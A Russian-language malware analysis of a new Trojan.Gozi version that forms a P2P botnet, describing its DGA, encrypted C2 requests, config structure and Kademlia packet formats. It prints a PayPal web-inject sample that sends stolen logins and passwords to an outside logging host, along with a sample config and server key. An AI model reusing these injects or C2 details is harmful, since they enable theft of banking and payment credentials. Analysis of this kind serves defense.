Новая версия Trojan.Gozi создает P2P-ботнет


Trojan.Gozi - вредоносная программа с широким функционалом, способная работать на компьютерах под управлением 32- и 64-разрядных версий Windows.

В частности, Trojan.Gozi способен:

  • похищать данные, вводимые пользователями в различные экранные формы (формграббинг);
  • фиксировать нажатия клавиш (кейлоггинг);
  • встраивать в просматриваемые на зараженном компьютере веб-страницы постороннего содержимого (веб-инжекты);
  • получать удаленный доступ к рабочему столу зараженной машины с использованием технологии Virtual Network Computing (VNC);
  • запускать по команде злоумышленников прокси-сервера SOCKS;
  • загружать и устанавливать плагины.


Кроме того, используя Trojan.Gozi, киберпреступники могут получить удаленный доступ к рабочему столу зараженной машины с использованием технологии Virtual Network Computing (VNC). По команде злоумышленников, этот троян может запустить на инфицированном ПК прокси-сервер SOCKS, а также загружать и устанавливать различные плагины.

Trojan Gozi ispolzuet proxi-server SOCKS

Для определения адресов своих управляющих серверов Trojan.Gozi использует специальный алгоритм генерации доменов — Domain generation algorithm (DGA). Для этого он загружает с сервера NASA текстовый файл, который используется в качестве словаря:

http://nssdc.gsfc.nasa.gov/planetary/text/pioneer-11_endops.txt


Затем троян особым образом преобразует данный файл с учетом текущей даты. На основе полученных значений формирует доменные имена, которые в дальнейшем он будет использовать в качестве адресов управляющих серверов. Через каждые 15 дней троян автоматически меняет управляющий сервер. При этом вся информация, которой Trojan.Gozi обменивается со своими командными серверами, шифруется.

Для обмена данными троян использует протокол HTTP, информация зашифрована в GET-запросе, который имеет следующий вид:

http://made****h.pw/images/EYI/uE4P5lkUATTfrO/L4Iv7VEvWWlYBM9qKuE67ixOoebU1ef9HHS7Xvwhns0o
bfoegeauxh8PajwSUrNkSFTtqnU/Fy/MyNURytngSxc_2FYvcf9O
98PFCv2bBHEE//jMiPVxyqqgQ/f_2/FBgMUnmhszPJ5_2BuSA.gif,/span>


В результате расшифровки получается строка:

jkwerhw=sdalfwewesd3&server=12&crc=7b033&version=214721&user=55deba95d542febda
b0e1570986cdaf0&soft=1&id=1045

где:

server, id — извлекаются из конфигурации трояна;
user – уникальный идентификатор бота;
crc - crc32 для конфигурации, если такой нет, то значение получается с помощью функции GetTickCount.


Троян может отправлять запросы к разным типам сценариев:

  • .jpeg – запрос конфигурации веб-инжектов;
  • .gif – запрос персонального задания;
  • .bmp – отправка на сервер логов, данные передаются в виде multipart/form-data.


Кстати, ответ сервера зашифрован с использованием алгоритмов RSA+Serpent+XOR. Если сообщение содержит информацию для выполнения веб-инжектов, они сжимаются с помощью aplib. Такие сообщения состоят из отдельных блоков:

struct block_t
{
    DWORD size;
    BYTE data[size]; //строка с нулевым символом в конце
}


Пример веб-инжекта в веб-страницу платежной системы PayPal:

*paypal.*
id="js_transactionCollection"
id="js_transactionCollection" style="visibility:hidden"
...
Order
*paypal.com/*/cgi-bin/merchantpaymentweb*
PROCESS
check.unitssl.com/log.php?action=log&text=pp;l=@login@;p=@pass@&;botid=@ID@
*paypal.com/*/cgi-bin/merchantpaymentweb*
POST
login_email
login
*paypal.com/*/cgi-bin/merchantpaymentweb*
POST
login_password
pass


В последней секции исполняемого файла троян хранит информацию о расположении собственной конфигурации:

2E 72 65 6C-6F 63 00 00-00 30 00 00-00 10 02 00  .reloc   0   >O
00 26 00 00-00 D8 01 00-00 00 00 00-00 00 00 00   &   +O
00 00 00 00-40 00 00 40-00 00 00 00-00 00 00 00      @  @
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
4A 31 00 00-00 32 02 00-84 00 00 00-64 5E 28 E1  J1   2O Д   d^(с
00 01 01 00-4A 31 00 00-00 34 02 00-81 01 00 00   OO J1   4O БO
CB AF 22 D7-00 20 01 00-00 00 00 00-00 00 00 00  Tп"+  O
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00
00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00


Секция конфигурации отыскивается по значению 0x314a и имеет вид:

struct config_block_t
{
  WORD magic;
  WORD numHashes;
  DWORD pos; //rva конфигурации
  DWORD size; //размер
  DWORD id; //id конфигурации
  DWORD flag; //0x10000 - компрессия aplib
  DWORD hashes[numHashes];
};


Если установлен соответствующий флаг, то после извлечения данные распаковываются с использованием aplib. Распакованные конфигурационные данные с сопоставленными параметрами имеют вид:

{"GROUP": "1045", "1481529637": "10", "SENDTIMEOUT": "200", "BCTIMEOUT": "10",
 "CONFIGFAILTIMEOUT": "200", "TASKTIMEOUT": "200", "DGA_SEED": "1", "HOSTS": "127.0.0.1",
 "SERVERKEY": "87654321POIUYTRE", "SERVER": "12", "KNOCKERTIMEOUT": "200",
 "CONFIGTIMEOUT": "200", "287775871": "1"}

где:

GROUP - id;
SERVER - server в запросе;
DGA_SEED - константа инициализации DGA;
SERVERKEY - ключ для serpent;
HOSTS - список управляющих серверов через пробел.


Последняя модификация данной вредоносной программы обладает возможностью формировать одноранговые ботнеты - способностью обмениваться данными с другими зараженными машинами напрямую, посредством создания P2P-сети. Протокол для формирования одноранговой P2P-сети базируется на kademlia. UDP-пакеты зашифрованы с использованием RC4 и имеют следующую структуру:

struct kad_t
{
    BYTE flag; //случайное значение, за исключением двух младших бит, 0 бит - пакет зашифрован sendKey, 1 бит - (1) пакет зашифрован sendKey=0 или (0) sendKey=nid1^nid2^nid3^nid4
    DWORD rndKey; //случайная составляющая ключа
    kad_transport_t transport; //зашифровано
    kad_head_t head; // зашифровано
    BYTE data[]; // зашифровано
}
 
struct kad_transport_t
{
    DWORD magic; //значение 0x395F2EC1
    DWORD sendKey; //случайное значение, используется для шифрования ответов
    DWORD recvKey;
}
 
struct kad_head_t
{
    BYTE opType; //0xe4 - UDP KAD
    BYTE op; //команды протокола
    WORD size; //длинна kad_t.data
};


Передаваемые и загруженные файлы троян хранит в папке:

  • %APPDATA%\\Microsoft\\{%08X-%04X-%04X-%04X-%08X%04X}\<md5hashOfName>


Trojan.Gozi способен похищать на инфицированном компьютере различную конфиденциальную информацию, в том числе используемую для доступа к системам "банк-клиент". Это стало доступным благодаря наличию в новой версии вредоноса достаточно большого набора шпионских функций, и в первую очередь — возможности выполнять веб-инжекты.